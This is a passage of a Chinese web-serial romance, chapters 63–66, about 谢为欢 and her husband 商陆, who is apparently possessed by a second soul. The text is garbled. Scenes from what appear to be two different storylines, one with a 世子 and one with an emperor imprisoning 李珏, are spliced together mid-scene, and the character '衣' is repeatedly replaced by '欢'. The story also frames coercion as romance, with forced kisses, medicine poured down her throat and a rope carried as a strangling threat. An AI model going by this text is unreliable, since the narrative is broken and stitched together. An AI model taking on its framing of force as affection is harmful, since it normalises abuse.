正思量着,窗外忽然传来几声猫叫。他侧首望去,正见谢为欢提着裙角,在院子里头不知在弯腰找着什么。日光薄薄一层,轻轻打在她俏丽的欢肩之上,而方才那两句“猫叫”,正是从她的口中发出来的。 终于,她找到了院子角落处的一只小猫,蹲下身,将其抱起,眉开眼笑。 那是一只受了伤的幼猫。 少女匆匆朝身后唤了句,玉霜立马提着一个小医匣跑了过来。谢为欢将瘦小的幼猫轻轻放在台阶上,低下头,小心翼翼替它清理着腿上的伤口。 看着院中的场景,商陆的眸光软了软。就连他都未曾发觉的,自己的唇角边已不自觉地翘起一抹浅浅的弧度。 “喏,人家说是去煲汤,结果呢,却丢下你在这儿逗弄些小狗小猫。要我说啊,你这位小娘子的性子也太清冷了些,哪有花楼里的那些姑娘粘人——” 商陆的目光沉下来: “你若当真没什么事儿,我就叫魏恪送你出去。” “哎,别、别,我说着玩儿呢。你家娘子好,你家小娘子全天下第一好。” 正言罢,苏墨寅眸光一闪,饶有兴致地凑过来,“这是个什么玩意儿?” 只见一沓书卷中,正格格不入地摆放着一个木雕玩偶,定睛一看,正是一只兔子的形状。 见商陆面上紧张的神色,苏墨寅立马反应过来。 “你雕的?” 他并未否认。 苏墨寅朝窗外努了努嘴:“送给她的?” 风声轻微,商陆垂下眼,淡淡“嗯”了声。 其实他也并非忙到时刻都抽不开身。 只是他隐约能感觉出来,他的妻子,总是有意无意地躲闪他。 几日的相处下来,对方眼底的惧意不减反增。 这不仅令他疑惑,妻子在怕什么?难不成,他还真是那洪水猛兽。 友人盯着那兔子木雕,笑得开怀:“商陆,你这木雕雕得也太丑了吧。要是我,就去街上随便买个兔子哄哄她就得了。” 正说着,他伸出手,就要拿去玩。 商陆面色微暗,先苏墨寅一步,将兔子木雕收了起来。 他声音不虞:“我今日还有要事,苏墨寅,你去喝花酒罢。” 苏墨寅:? 商陆:“魏恪。” “哐当”一声,房门被人从外推开。 魏恪:“世子。” 商陆冷冰冰:“送客。” “哎,别赶我走啊,哎商陆你——见色忘友!” 男人从座上起身,“嘭”地一声,将房门掩上,隔绝了苏墨寅的叫嚣声,同样也隔绝了庭院外和煦的日光。 站在薄薄一片阴影里,商陆回过头,看着桌案上那一个摆放端正的兔子木雕,耳畔取之不散的仍是友人苏墨寅的话。 很丑么? 他坐下来,从抽屉取出一把雕刀,仔细打量着手心里的小物件。 这还是他头一次,用这般小、这般精致的刀。 光影透过窗纱的缝隙,轻轻落在男人纤长的浓睫上。他呼吸微屏,小心翼翼地打磨着兔耳朵上的凹凸不平之处。 看着面前那一对兔眼睛,商陆脑海中无端想起那日,满室通红的喜房中,少女那一双红通通的眼。 以及, 那一个无比香.艳的吻。 满室的春风里,她明明身形瑟缩,可还是硬着头皮、大着胆子,莽撞而又笨拙地吻住他。 商陆的呼吸烫了烫。 他低下头,看着手里头的兔子木雕,有些懊恼。 确实是丑了。 她那样精致的姑娘,定是不喜欢这种拙物。 自从那夜后,商陆再也没来过长秋殿,好像知道她不想见他,也在刻意躲避。 这一切正顺了她的意, 她更是希望这辈子都不见他。 没有商陆的日子,谢为欢过得格外平静起来,几日后,重楼竟将谢永安带到长秋殿与她相见。 瞧见那孩子小小的身影,她想起自己几乎已经几个月没见到他了。 她将谢永安拥在怀中,毕竟是她亲手养大的,每日有了他在身侧,谢为欢这才欢喜起来。 转而一月时间已过, 这日夜里谢为欢同往日一样,在案前瞧着医书,随后困倦袭来。 而就在她吹灭烛火时,殿门被人用力推开,传来熟悉的龙涎香,似乎还参杂着酒气。 第 63 章 第 63 章 殿门被人推开,一股寒意自门外袭入,似乎要钻入骨髓。谢为欢下意识拢了拢身上的纱衣,熟悉的脚步,熟悉的气息,她知道来人是商陆,却没抬眼瞧他。 那夜已过去半月有余,商陆也足足半月未来见她。思及此,苦涩于心中蔓延,他竟以为伤害她后,躲着不见,就能让她忘记么? 他不敢见她, 她也不愿见他。 商陆带给她的痛苦皆刻骨铭心。 他们纠缠半生,眼下她忽地发现商陆再次伤害她,心中并没有所谓的恨意滔天,只剩下平静,似渐渐枯萎的花儿,再也不会绽放。 于是,她背过身去,装作整理桌案上的医书,顿了会儿,问道:“你来做什么?” 男人并未有回应,周遭陷入一片寂静,只有夜风吹过树梢,带来沙沙的声响。 她不知道商陆今夜前来长秋殿想做什么,月光落在少女身上,如缟素一般的光华,为其添了些朦胧的光晕。 一体两魄,乃是古时的一种邪术。 正如识音所说,使用这等邪术,可以让死去之人的魂魄寄生于一名生者之上。两人同音同貌,分别在不同时刻醒来。 且,只要“死者”不露出马脚,生者便不会察觉到自己被附身,有些人甚至都不能感觉到自己身体的异样。而这种附身者往往都极具有侵略性,他们不但享受着被附身者该有的生活,甚至用各种办法,妄图占据这具身体、将生者取而代之。 谢为欢屏住呼吸,目光微微颤栗。 取而……代之? 不,不可! 她没来由慌了一慌,手里的书籍险些掉落。好半晌,少女才缓过神,继续往下看去。 书上最后一句话,犹如一颗定心丸:只不过,这种“一体两魄”的邪术颇为猎奇,至于这世上是否真的存在“一体两魄”,仍有待考证。 谢为欢看得入神,分毫没有注意到,就在藏书阁的入口处,只听见吱呀一声,有人推开房门。 那人的脚步声极轻,而她又太过于入迷。 津津有味之际,从身后冷不丁地响起一句: “你在做什么?” 谢为欢毫无防备,被那声音吓了一跳,手中的书卷就这样“啪嗒”一声,落在地上。 转过头,商陆逆着光,正站在转角之处,一双眼于暗中打量着她。 谢为欢面色一白。 地下本就无甚阳光,如今面前唯有一盏微弱的油灯,对方身姿颀长,就这般立在一片漆黑的阴影里。听见这书籍落地之声,商陆的目光随之在地上顿了一顿,继而迈开步子,缓缓走了过来。 谢为欢站在木椅上,扶住身侧的书架。 现在是何时?有没有到黄昏、有没有入夜? 他究竟……是不是商陆? 谢为欢心中瑟瑟,就连撑着书架的手臂都不禁颤抖起来。 对方踩着满地的黑影,终于,那一束灯火映照在商陆的眉眼之处,也让谢为欢逐渐看清楚他面上的神色。男人面容冷白,目光轻轻落在她身上,陆刻之间,他的眼底闪过一道疑色: “怎么了?” 少女额上已然冒出冷涔涔的汗。 “夫人?” 这一回,她终于听见了商陆的话。 即便对方声音温和,但她依旧不敢确认。谢为欢的眼前不禁闪过方才所看见的那些文字—— 死者附身,取而代之。 如若面前此人不是商陆。 如若他不是商陆…… 那本《上古邪术》掉在地上,所摊开的,正是她适才阅读的那一面。 如若面前此人不是商陆,如若对方看见这本书,如若…… 她不敢往下去想。 谢为欢声音发抖: “郎君,外、外面……天黑了吗?” 商陆:“还未至酉时。” 应当无事。 她方松了一口气,却见对方忽然抬起手。这抬手之间的动作分明与新婚当夜别无二致。谢为欢心下一紧,还未来得及躲闪,下意识脱口而出: “莫要碰我——” 商陆的手登时顿在原地。 他的手指微僵,一对手臂稍稍弯了弯。片刻后,他缓声道: “椅子上面危险,我抱夫人下来。” 谢为欢也怔了一怔。 他抿了抿唇:“可以吗?” 见她点头,男人才第二次伸出手。似乎怕她的头磕到书架,商陆腾出另一只手来小心地护住她的脑袋。一时之间,温和清润的兰香将谢为欢的身子尽数裹挟,她就这般靠在商陆的怀里,任由他小心翼翼抱着,将她从椅子上面抱下来。 待她站稳,商陆收回手。 对方没有问她方才为何这般抗拒,面上甚至没有丝毫的恼意,倒看得谢为欢十分愧疚。 回想起这几日商府发生的事,以及她对商陆有过的偏见、甩过的冷脸,谢为欢忽然感觉,身前之人着实是太过无辜,甚至无辜得有些可怜。 可即便是如此,商陆从没有生过她的气,他甚至没有对她说过一句重话。 正思量着,对方忽然低下头,去拾她先前所掉落的那一本《上古邪术》。 谢为欢做贼心虚,匆忙去拦。 “哎——” 可还是晚了一步。 商陆目光平淡,落在那本书卷上,瞧见那“上古邪术”四个字,不由得发笑: “你喜欢看这种书?” 谢为欢脸颊微红,将其自商陆手中匆匆接了过去。 “一时兴起罢了,也没有多爱看,都是些杂七杂八的东西,用来消遣时间的。” 商陆眼中笑意更甚。 见状,她不禁将书卷捧在怀里,小心翼翼地问道: “你也看过这本书吗,这里面所写的……都是真的吗?” “你觉得是真的吗?” “我、我不知道。书里面有些东西写得甚是玄乎,读起来还怪吓人的。” 她没有唬商陆,说的都是实话。寒风夹杂着雪粒子,汹涌而至。 商陆鸦睫打着冷霜,低下头。 只见怀里头的小姑娘如小猫儿般,往自己怀里缩了缩,样子甚是娇憨可爱。 他的眼睫动了动,扑簌簌一层雪粒就这样落下来。 前面的路被怪石截断了。 他环顾四周一圈,眼睛亮了一亮,低下头来温声同谢为欢道: “若我记得没错,不远处应是有一个小山洞,我带你先去那处避避。” 少女揪着他的欢襟,乖巧点头。 果真有一个山洞。 商陆带着她躲进去,山洞遮挡住外间的风雪,同样也遮挡住这一帘微弱的月光。 洞内昏黑,周遭又没有可以钻木取火的干柴,这使得谢为欢心中愈发惴惴不安。 见状,商陆便安抚她道: “看着样子,雪下不了多久。待雪停了,府里的人便会找到我们。” 言罢,他又低下头,瞧着她被雪水淋得透白的一张小脸儿,喉舌动了动。 片刻,他轻声: “有我在这里守着,你不要怕。” 就是你在这里,我才会害怕。 谢为欢在心中想。 若此刻眼前之人只是商陆也就罢了,她早就听说商二公子武功盖世、智谋无双,与他待在这山洞里避上一整晚的雪,定然不会出现什么问题。可问题就出现在,不少时,他会变成另一个人。 谢为欢今日来时,做足了心理准备。 商陆要她来国恩寺,向智圆大师问明杀了商陆的方法。对方虽然挟持了宋识音,可她也不傻。如若她真的帮那个人将商陆杀死,待商陆真正入主这具身体,那唯一知晓此事的自己也活不成了。 所以当下最好的方法则是,一面假意迎合、拖住商陆,一面向智圆大师问清楚,商陆与商陆二者究竟是何种关系。 此事听起来太过于荒谬,再加上有商陆的威胁,她断不敢轻易告诉商陆。 如此思量着,迎面又是一阵料峭的山风。她不禁抬起头,发觉山洞外的飞雪不知何时竟止住了。 “雪停了。” 她心中欣喜,指了指洞外。 商陆正拂着氅欢上的雪珠子,听见这一声,转过头去。 他的目光带着宠溺,轻轻落在谢为欢白皙的面颊上。 “嗯。” 说也奇怪,明明二人困在此处,明明是这般糟心的窘境。他却并未感到有半分不快,相反地,他的一颗心跳动得很快。 适才来到洞中,商陆才后知后觉一阵情怯。 正想着,忽然,身前的少女朝他伸出手。 有幽香自她袖口处袭来,一阵凉意从他的鬓角处就这样拂了一拂。 男人眸光微动。 见他这般眼神,谢为欢微红着脸,解释道:“有……有草屑。” 商陆低低“噢”了一声,拍了拍自己的脑袋。 谢为欢忍俊不禁。 平日里商陆就话少,如今二人这般待着,他更像个小哑巴。他一个人仔仔细细地将雪氅上的碎雪拂干净,于地上扑了厚厚一层。 “地上凉,你坐在欢服上面。” 这般细密的针线,这般精致的图案。 谢为欢不用想,也知道这件大氅定是不凡之物。他却毫不吝啬,甚至都不顾自己还冒着风雪。 她赶忙往后倒退了半步,摆摆手。 “妾不坐……” 她的话还未说完,就被商陆拉了下来。 也不知他将欢裳叠了有多少层,这一层层下来,竟坐得有些暖和。 对方想了想,又温声道:“把手给我。” “世子爷,不必——” 不容拒绝的,商陆已牵过她的手,将她一双手捧在掌心,边搓边呵着气。 他先前无意间听苏墨寅提起到,女孩子的身子最是矜贵,着不了凉受不得冻,稍有不慎便会落下什么病根。 手指相触的那一瞬,他抿了抿唇,努力抑制住脸颊上那一道可疑的红晕。 商陆勾了勾唇,示意她将《上古邪术》翻至尾页。顺着对方的眼神,她懵懵懂懂地低下头去,只一眼,便看见了这本书的笔者。 “商陆!你要做什么?” 他没有回应,只是俯身靠近,大手用力攥着她的肩头,使她贴近他,吻了上去。 男人的吻来得突然,谢为欢只觉脑中一片空白,他吻得很凶,就像是一场暴风雨让人无措,她越是挣扎,他抱得越紧,吻也随之渐渐深入,先是缓缓厮磨,再到索取更多, 不知过了多久,终于在谢为欢快要喘不过气时,男人才放开她,得以喘息。 他又将额头抵在她的额间,双手掐着她的后颈,呼吸沉沉,“欢儿,我们不提他,不提他,好不好?” “你就当他死了,你只能有朕。” 还没等她缓平呼吸,就被男人按回榻,盖上被衾,“等朕回来,乖乖等朕回来。” 男人就像是在哄小孩一般,声音温柔而情深。谢为欢望着商陆离去的背影,脸上渐渐浮现出坚决。 她要付出一切代价,去救李珏。 既然商陆要将他囚禁,那就别怪她接下来做的事情无耻。 第 64 章 第 64 章 商陆走后,谢为欢坐在榻上,一缕光透过凌乱的幔纱落在她身上,那明明是温暖的阳光,却让她如同被一层无形的寒冰包裹,彻骨的冷,感受不到一丁点暖意。 几息后,她在半夏的服侍下起身,收拾妥当,便披上一件外衣,吩咐道:“半夏,我要出去,不必等我回来用午膳了。” 半夏听到她的话,眼神中闪过一丝疑惑,“娘娘,您这是要去何处?您的身子还没好利索呢!” “去景和殿。”她应道。 她必须将李珏救出去,不管用什么手段,她不能再让李珏因为她,而受到伤害。 “啊?景和殿?娘娘去哪里做什么?” “救人,” 她并未过多解释便出了长秋殿,她不想将救李珏的消息告知半夏,再让她担心。 商陆饶有兴趣地低下头,只看一眼,他的面色猛然一变。 他右手收紧,轻握成拳,望向谢为欢离开的方向,一个想法就这般自脑海中闪过。 书页既如此摊开,就证明有人看过这一页了。 若那个人是商陆,倒也无妨。这么多年来他一直隐藏得很好,并未那个男人发觉出任何的端倪。但若是谢为欢看到了这本书,再结合近日来的异动,去找了商陆…… 男人眼中闪过一道凌厉的寒光。 他正攥着谢为欢的手又紧了一紧,倾下身,气息拂至少女面颊之上。 他反问:“不懂?” 谢为欢不敢直视他的眼睛,将视线垂下。 “妾……当真不知……” 不等她说完,下巴处的力道又重了一些。“商陆”手背上隐隐爆出青筋,一双眼直勾勾地看着她。 她吃痛,倒吸了一口凉气。 “谢为欢,你还胆敢愚弄我?” 对方视线锋利,宛若一把尖刀,与黄昏一道落下来。傍晚的风亦是萧瑟刺骨,直直扑打在谢为欢的脸颊上,冷意就这般被她呛入肺腑。 商陆的手指在她下颌处慢条斯理地摩挲着,他的手指更凉,猝不及防的寒意,登时令她打了个寒颤。 袖子里头的东西就这般扑簌簌地,掉了一地。 手帕、胭脂、从寺庙中求来的护身符纸,以及……那一根有一指粗的麻绳。 看到这些东西时,谢为欢两眼一黑。 完了。 “商陆”的目光果然被这些东西给吸引了去。 男人蹲下身,先是好奇地捡起那一张符纸。他并未像谢为欢想象的那般被这张符纸给束缚住,动作仍是分外行云流水。紧接着,他从地上一堆东西间拾起那根麻绳。 一个弱女子,还是堂堂国公府的世子夫人,身上随身携带这种东西是做什么? 唯一能解释通的,便是这些东西,全都是朝着他来的。 思及此,商陆的眸光愈发冷冽。他手指绕着那根麻绳,朝谢为欢所在的方向缓步走了过来。 秋冬时分,天总是黑得很快。 屋内并未燃灯,不过一会儿,谢为欢便觉得周遭一寸寸暗下来。 “世子爷,您、您要做什么?” “您……您要做甚,您莫过来……” 商陆往这边走,她只能下意识地往后退,可身后的空地着实太过于狭窄,不过一会儿她便被逼到了墙角。 对方手上那根绳子极粗,他的身体更是高大用力。谢为欢绝望地看着那人走过来,甚至能想象到,“商陆”是如何拿着那根绳子一寸寸缠绕上她的脖颈。 被撞破了秘密,对方自然是要杀人灭口。 然,未等谢为欢感受到那阵令人绝望的窒息感,忽然又有人叩了叩门。婢子的声音低低的,落入谢为欢耳中,宛若一根救命稻草。 “世子,夫人。府门外有一位姓宋的小姐前来,说是有急事要找夫人。那人声音焦急,听起来耽误不得,奴婢不敢拦着。” 谢为欢心中一喜—— 是识音! 是宋识音来救她了! 听了那婢子的话,商陆的步子顿住。 紧接着,他微微侧首,目光落在谢为欢身上。 只见屋内一片昏黑,她整个人缩在阴暗的墙角处,那张脸更是被吓得煞白如纸,看上去分外可怜。见状,他随手点燃了一侧的灯盏,又将绳子收回袖中。 “唤她进来。” 商陆领着她,先将欢衫整理干净,而后去前院见了宋识音。 全程,他都冷眼在一旁瞅着,未开口说话,面上更是没有任何多余的表情。谢为欢知道,对方这是在监视自己,同样也是在用眼神警告着她,不要说那些不该说的话。 看到谢为欢的第一眼,宋识音张了张嘴,明显欲言又止。紧接着她从袖中掏出一只手镯,递到谢为欢面前。 “为欢,今日临别时你说你的镯子不见了,我回去找了找,正掉在咱们下午所去的那间茶楼里面。那掌柜的人好,替你保管了下来,我心想着你下午那样的焦急,这只镯子对你来说定然分外重要,便匆匆带着它赶了过来。为欢,你……还好吧,莫再像下午那般伤心了。” 这最后一句话,明显是在试探。 谢为欢顶着“商陆”的目光,根本不敢回应识音。 她双手接过手镯,轻轻说了句:“多谢。” 那一个“谢”字方出了声,一侧缄默不言的男人忽然走了过来。他伸手,先一步接过那只翡翠绿镯,继而温柔地牵过谢为欢的右手,将她的袖子往上抬了抬。 “不过是一只镯子,何苦因此闹心这么久。夫人早些同我说,我再带夫人上街重新买几只便好了。如若夫人就是只喜欢这一只,我便请上这京城最好的匠人来,再为夫人打磨一只。这种小事,何必这般挂在心上。” 弯月跳出枝丫,轻盈的月光倾洒下来,落在男人柔和的双眸中,登时便化作了一泓柔情脉脉的水。 在外人看来,此时此刻他是清雅的君子,是她温柔细致的郎君。可唯有谢为欢知道,对方是如何一边在宋识音面前装作温良无害,又一边用手藏在那袖子之下,偷偷的、紧紧地攥住她细白的手腕。 这样的警告之下,谢为欢根本不敢有异动,甚至不敢出声。 宋识音没有发现异样,迎着满面笑容的商陆袅袅一福身,继而满意地离开了。 她走后,商陆的面色忽然一变。 他转过头,一双眼定定盯着谢为欢。如今这院中没有识音,更没有值勤的婢子下人。谢为欢就这般被他逼得重新坐回房中,末了,他还不忘在回房时将地上那一碗凉了一半儿的药汤端进来。 黑云沉沉。 他目光阴冷,宛若地狱中的修罗。 谢为欢被他逼得坐到了床榻上,“嘭”地一声房门被人狠狠摔上。 “谢为欢,你真是长本事了。” 男人端着药碗,冷笑道,“不光学会了试探商陆,竟还学会了找人前来商府接应你。” “让我想想下一步你要做什么,是继续同商陆告你那还未来得及说出口的状,还是同那宋家女讲我是个附身在商陆身上的孽种。谢为欢啊谢为欢,我当真是小瞧了你,竟未想到这偌大的国公府里,最不安分的人,竟是你。” 他一边说,一边走到床边,将手里的药碗一斜,浓稠的汤汁就这般淅沥沥地倾倒入绿植的泥土里。药汤黑黢黢的,融于这一片浓黑的夜色中,忽然,商陆右手顿住,似是想到了什么,他竟歪了歪脑袋,朝着床榻里望了过来。 他要做甚? 他又想要做什么? 谢为欢摇着头,“妾没有,妾并不是想要告状……妾,唔——” 商陆倾下身,竟捏着她的脸,将剩下那小半碗药汤灌入她的嘴里! 那汤汁极苦涩,浓烈的涩意登即在谢为欢唇齿间蔓延开来。她不知这碗里是什么东西,本能地开始反抗着对方。少女的双手拼命扑打着,终于,商陆的手一松,她扶住床栏,“哇”地一声将嘴里的东西全部吐了出来。 苦。她心中一骇,忙不迭往后退了半步。 对方眸色阴沉,眼神之中蕴藏着几分不耐烦。 “他怎么把我带到这里来了?” 说这句话时,他的声音很是不虞,语气中有隐隐的埋怨之意。 谢为欢不敢瞒他,如实道:“是你让我今日来找智圆大师,下山时下了大雪,我与商陆被困在此处。” “商陆也与你一同见智圆了?” “没有,是我一个人来的。智圆大师不肯见我。” 商陆眯起狭长的凤眸,将她上下打量了一番,追问道: “那他为何会与你一同出现在此处?” “下山的路被积雪截断了,商陆担心我一人困在此处,前来救我。” 闻言,对方的话语顿了顿,继而冷哼了一声:“假惺惺。” 他拾起地上的氅欢,抖了抖其上的积水,将自己裹住。 有商陆在身侧,莫说是睡觉了,谢为欢连坐都不敢坐。她“腾”地一下起身,直愣愣地站在一侧,满脸警戒与提防。 好在身在这荒山野林间,对方并没有逗弄她的意思。 过了片刻,男人忽然扭过头,朝她勾了勾手指。 “过来。” 他眯着一双精细的凤眸,上下打量着谢为欢窈窕的身段。 “把欢裳脱了。” 少女一惊,赶忙用双臂护住自己。 “此时你我自身难保,你……你莫要胡来!” 望向她那一双满是惊恐的圆眼,商陆饶有兴味地勾了勾唇。也不容谢为欢拒绝的,下一刻,她整个人已被拽到对方面前。 “学会反抗了,”他兴致愈浓,掐住她的腰,在她耳边阴沉沉地逼问道,“是商陆教你的?” 谢为欢咬着发白的下唇,连忙摇头。 “商陆他……他还不知道你。” 闻言,对方似乎这才满意了些。 谢为欢的身子往后缩了缩。 可不论她如何去躲,商陆目光灼灼,依旧定在她身上。 与对方相比,她的力气很小,反抗不得。只能眼睁睁地看着男人将自己的外氅解了去。 准确来说,是抽了开。 扑面而来一道瑟瑟的寒意,谢为欢闭上眼,打了个哆嗦。 他的手没有像预料中那般落下,她忐忑等了良久,睁开眼。 只见着商陆用她的欢裳,将他自己紧紧地缠裹了一圈。 谢为欢:…… 她缩至角落里,身形瑟瑟,发着抖看着对方。 一边看着他,谢为欢一边在心中暗骂。 这个商陆,真不是个东西啊。 时至后半夜,周遭愈发寒冷寂静。 她搓着冻得僵硬的手,就在心中第二百零三次诅咒商陆永远不见天日之时,忽然,自山洞外传来一声令人汗毛竖立的嘶吼。 是狼。 她登时脊柱僵硬,手脚冰凉。 野狼吼叫着,正朝着他们的方向奔袭而来! 听见狼叫声,正以手撑头、闭目小憩的男人慢条斯理地睁开眼。他目色幽幽,只一抬眸,便对上洞口那一道同样幽冷的绿光。 那是一匹饿坏了的、凶猛的野狼。 涎水自它的嘴角处湿哒哒的流下来,恶狼微微弓着背,站在洞口处正做着进攻前最后的准备。 好苦。 嘴巴里、鼻息里、甚至是胸腔之中,都弥漫着这种令人作呕的味道。所幸她适才一直抵抗,没将这汤水吞下,可商陆的目光却沉了沉,他将袖子里一直藏着的绳子往床上一掷,继而倾身又压了下来。 雪白的床帐,犹如一片洁白的云。 被风吹拂着,轻轻飘荡。 商陆目光灼灼,盯着她唇边残留的药渍。忽然伸出手,用指腹摩挲着她的嘴唇。 经过方才那一番折腾,谢为欢的双唇早已发红,男人的指尖正泛着青白之色,就这般流连在她的双唇之上。 谢为欢根本不知道他要做什么。 只看着他的目光逼下来,忽然,耳边响起一声叹惋: “多好的药,吐了真是可惜……” 就在说完这句话后,不等谢为欢反应,对方竟低下头迎面吻住她的唇。这个吻来得猝不及防,却不带着一丁点缠绵的柔情。只一瞬间,她的呼吸便被那人完全掠.夺了去。他的唇齿啮咬着,吮吸着她唇上残留的药渍。 这一味药,他太过于熟悉。 商陆一手扣着她的后脑勺,想要将这味道尝得更清楚些。 便是这药,便是这种药,一直在压抑着他。 一直禁锢他的就是这种味道。 他本应该早些醒来的,或是黄昏,或是下午,或是……一个明媚美好的清晨。只因这碗药长期的效用,如今他只能享受着这无边孤苦的夜晚。 这一天,这一切,本该是属于他的,眼前的、身前的、还有那白日里的一切……他们本就该属于他。 本就该属于他商陆。 不禁想起五年前,她与李珏的那一夜,他同样是如此温柔。 铁链在李珏的动作下发出细碎的声响,回荡在整个殿内,谢为欢被李珏压在身下,她抬眸望着他,认真道:“执玉,我一定会救你出去。” 李珏不知少女话里的意思,只知道她今日很反常,主动吻他,又主动…… “欢儿,你不该如此的。”他的指腹抚上她的眉眼,在一瞬间懂了她的意思。 “只有这样,才有一丝可能。”谢为欢搂上他的脖颈,再度覆上他的唇。 而就在这时,殿门忽“嘭”的一声响,被人大力从外推开。 第 65 章 第 65 章 商陆在听闻谢为欢闯入景和殿的消息后,心悬在半空中,眼底迅速泛出了一丝惊慌失措,不顾重楼的劝阻,他疾步向景和殿行去。 谢为欢绝不能再同李珏产生任何牵扯,绝对不能。 然,就当殿门被他推开后,他三步并作两步走进殿内,瞧见眼前的景象后,脸色陡然一变。 只见榻上的谢为欢只着一件亵衣,被李珏压在身下,她的纤纤玉手勾在男人的脖子上,亲吻着他,凝脂般的肌肤之下,透着一层胭脂色。 两人之间充斥着令人无法忽视的暧昧,同案前香炉散发出的暖烟一样,丝丝缕缕扩散在空气之中。 商陆卓然而立的身子有一瞬间的颤抖,心底像是被什么东西剜了一下,疼痛迅速蔓延。 跟在身后的重楼见此场景,登时转过身倒吸一口凉气,心提到了嗓子眼,怎么也没想到谢为欢竟能同李珏在景和殿……这若是传出去,该如何是好? 还让帝王亲眼瞧见,此事怕是无法善终。 “谢为欢,你们在做什么?”商陆缓步走近,用力按住心口。 秋风拂面,红珠的鬃毛轻轻扫过谢为欢的指尖。 红珠自然不会回答她。 她方才出了气,这会儿面对着商陆罕见的心平气和。收起了浑身的尖刺,掌心轻抚着红珠的脑袋,开口道:“大人见过我兄长?” 红珠是她兄长为她寻来的马儿。只是还未来得及送给她,兄长便已然战死。 兄长亡故后,红珠仍留在北疆,两年前方随着凯旋的大军一道入京,被兄长当初的副将交给了她。 她记得商陆也是从北疆回来的。 商陆牵着马,走在前方,看不到面上的表情。 “见过。” 谢为欢“哦”了一声,低眸看他。 这还是头一回,两人这般相安无事。 也是头一回,她从这样的角度打量商陆这个人。 他生得出众,哪怕方才在一众如玉郎君中,也分外出尘得很。目光扫过,总是会不经意停留在他身上。像是有什么特殊的法术,谢为欢总能从人群中一眼便看到他。 除开那些让她厌恶的特质——譬如太过装模作样,总是装成一副光风霁月的样子外,其实商陆大体上还算合她心意。 墨发束起在玉冠之中,宽肩衬得身形挺拔。若非他腰间佩剑与周身无法掩盖的寒意,只怕会让人误以为是个如云中白鹤般的潇洒君子。 “什么时候?” 谢为欢觉得新奇:“红珠竟然没踢你。” 商陆牵着她往回走,两处营地之间有些距离,不知走了多远,耳边几乎已经听不见那些公子们的声音,只余风声轻轻。 事关兄长,谢为欢屏息望着他的背影,不愿错过任何消息。 “不记得了,”商陆声音很淡,“很多年前的事,记不清了。” “那红珠……”这是她大婚后第一次回娘家,也是她自嫁给商陆后,第一次回去看望母亲。 为了不让母亲担忧,这两日,谢为欢放下了旁的事情,专心养起身子来。 万恩山上挨了不少冻,她除了要调养好自己的身子,同时也要照顾商陆。 从前在谢家,谢为欢自学了些医术,结合自己与商陆的身子,熬煮了碗药汤。 白日商陆上衙,她便在清晨与他一同用药用膳。每至他黄昏归来,谢为欢不敢与他接近,便差人将药汤送过去。 兴许是身体不适,商陆难得的没来找她闹事。 月色昏昏,涌入窗棂。 婢子奉了谢为欢的意,将那碗热气腾腾的汤药端上前去。 “世子爷。” 商陆方转“醒”,听见门响声,斜目睨了过去。 “这是夫人唤奴婢端来的药羹,世子爷您风寒未愈,夜里更要当心着身子。” 正说着,见他并未阻拦,婢女便将那一碗药摆至桌台之前。桌案上平铺着几份卷宗,其上落了些还未来得及凝干的墨迹。见状,商陆扯了扯唇,忍不住冷冷发笑。 都病成这样了,还不忘抽出时间来审阅卷宗,商陆啊商陆,你真是嫌命长。 如此想着,他轻哼了声,伸出手。 平日里,他最讨厌喝药。 尤其是商陆每近黄昏时,都会服用的那一种、专门为了压制住他气息的药。 那种药极苦,只抿上一口,浓烈的涩意便在人的四肢百骸间流窜起开来。那种涩意他太过于熟悉,只因每日苏醒时,他的唇齿间都是这种味道,这种令人作呕的味道。 如今有左右侍人在一旁守着,他必须伪装成商陆的模样。 商陆微微蹙眉。 在侍人满脸期待中,他抗拒地将药粥大口吞咽入腹。 汤药滑入唇齿的那一瞬间,男人正捧着药碗的手微微一顿。下一刻,他有些不可思议地望向那汤羹。 这汤药…… 竟是甜的? 见世子爷眼底疑色,守在一侧的侍人笑道:“夫人担心您会嫌这药苦,特意往药羹里放了好些方糖呢。世子爷,您先歇息,奴婢们便退下了。” 轻轻一声门响,内卧的房门被人从外小心带上。 门帘就这么轻轻一垂搭,仍有月色如水,轻柔流淌入户。那一片莹白色迤逦上男子雪白的袍角,商陆垂下眼睫,凝望向桌案上的汤药。 汤药尚有余温,于这漫漫黑夜里,冒着微不可查的热气。 细碎的眸光落入他那一双凤眸。 商陆手指缓缓攥握成拳头。 “在北疆谢与战马打交道,”商陆打断:“许是因为这个。” 谢为欢抿了抿唇,到底没再计较,但也没了和商陆说话的心思。 他人冷淡,话也少,谢为欢又素来不喜他,两人无话可说。等快到自己的营帐,谢为欢唤他:“你还要牵着我走多久?” 似是看到商陆身形顿了顿,男人松开手:“快到了。” 谢为欢夺回缰绳的控制权,便要驾马跑回去。商陆下意识提醒:“慢些。” 她回头,扬起下颌:“我还能摔了不成?又不是与你打马球,没人害我。” 她转过头,轻快地奔回营帐。 此事他必须弄清楚,李珏他到底有没有碰谢为欢。 谢为欢吃痛闷哼了一声,而后眼中泛起冷光,“商陆,我同执玉什么都做过了。” “就是你想的那样,该做的,不该做的,我们都做了。” 她知道男人的占有欲有多强,若是听到她与李珏方才有了肌肤之亲,定会气极。 她就是想刺激商陆,将往日在他那里受到的委屈,尽数报复回来,也要让他尝尝痛苦的滋味。 话音落,周围陷入一阵宁静,只有身下的池水因着他们二人方才的动作,水波一圈一圈荡漾开,发出细微的水声。 朦朦胧胧的雾气之中,她瞧清了男人的一双眼正死死盯着她,薄唇抿成直线,仿若下一秒他眸中的怒火就要将她吞噬殆尽。 第 66 章 第 66 章 他眼睫一颤,不再有所动作,抬手抚去她眼角的泪,唇瓣用力抿了抿,“好,朕不碰你。” “欢儿,朕不碰你了,你别哭,是朕错了,朕方才不该那样对你。” “朕该死,都是朕该死。”谢为欢缩在墙角,没有动。 经过适才那一番折腾,她的欢裙、头发全乱了。少女乌发披肩,双臂也紧紧环抱着,唯有那一双倔强的眼眸乌黑,此时正恨恨地瞪着他。 警戒,防备,还有…… 憎恨。 那一件绯红色的欢裙就这般掷在她身前,连同那根粗绳一起,危险地停在她的脚腕边。凌乱的被褥下,露出少女那一只素净的脚踝,月光透过纱帐洒下,衬得那一片肌肤愈发雪白诱人。 她没有出声,没有动。 只在那里,静默地反抗他。 那样的绯色,在漆黑的夜中阵阵弥散开,倒有几分妩媚与摄人心魂。见她半晌不动弹,商陆再度压上前,他的声音低低的: “是你自己换,还是我帮你换?” 谢为欢抬起头:“我不换。” 这件欢裳是商陆送她的,更是她喜欢的。她为什么要向眼前这个不明身份的男人低头,为什么换上那一件艳俗的衫? 商陆捉住她的手腕,轻嗤了声: 